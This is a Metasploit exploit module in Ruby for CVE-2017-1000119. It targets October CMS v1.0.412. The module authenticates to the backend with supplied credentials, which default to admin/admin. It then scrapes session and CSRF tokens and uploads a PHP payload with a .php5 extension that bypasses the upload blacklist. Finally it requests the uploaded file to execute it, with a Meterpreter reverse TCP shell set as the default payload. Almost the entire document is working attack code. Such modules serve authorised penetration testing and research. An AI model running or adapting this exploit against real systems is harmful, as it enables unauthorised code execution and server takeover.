October CMS Upload Protection Bypass Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'October CMS Upload Protection Bypass Code Execution',  
'Description' => %q{  
This module exploits an Authenticated user with permission to upload and manage media contents can  
upload various files on the server. Application prevents the user from  
uploading PHP code by checking the file extension. It uses black-list based  
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/  
Definitions.php:blockedExtensions().  
This module was tested on October CMS version v1.0.412 on Ubuntu.  
},  
'Author' =>  
[  
'Anti Räis', # Discovery  
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module  
'SecureLayer7.net' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB','41936'],  
['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'],  
['CVE','2017-1000119']  
],  
'DefaultOptions' =>  
{  
'SSL' => false,  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'ENCODER' => 'php/base64',  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'October CMS v1.0.412', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 25 2017'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),  
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])  
])  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js')  
})  
rescue  
vprint_error('Unable to access the /assets/js/framework.js file')  
return CheckCode::Unknown  
end  
  
if res && res.code == 200  
return Exploit::CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def login  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),  
'method' => 'GET'  
})  
  
if res.nil?  
fail_with(Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
/name="_session_key" type="hidden" value="(?<session>[A-Za-z0-9"]+)">/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil?  
  
/name="_token" type="hidden" value="(?<token>[A-Za-z0-9"]+)">/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil?  
vprint_good("Token for login : #{token}")  
vprint_good("Session Key for login : #{session}")  
  
cookies = res.get_cookies  
vprint_status('Trying to Login ......')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),  
'cookie' => cookies,  
'vars_post' => Hash[{  
'_session_key' => session,  
'_token' => token,  
'postback' => '1',  
'login' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}.to_a.shuffle]  
})  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?  
  
# if we redirect. then we assume we have authenticated cookie.  
if res.code == 302  
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
return cookies  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")  
end  
end  
  
  
def exploit  
cookies = login  
  
evil = "<?php #{payload.encoded} ?>"  
payload_name = "#{rand_text_alpha(8..13)}.php5"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"')  
post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload  
data = post_data.to_s  
  
register_files_for_cleanup(payload_name)  
vprint_status("Trying to upload malicious #{payload_name} file ....")  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'backend', 'cms', 'media'),  
'method' => 'POST',  
'cookie' => cookies,  
'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' },  
'Connection' => 'close',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
send_request_cgi({  
'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name),  
'method' => 'GET'  
})  
end  
end  
`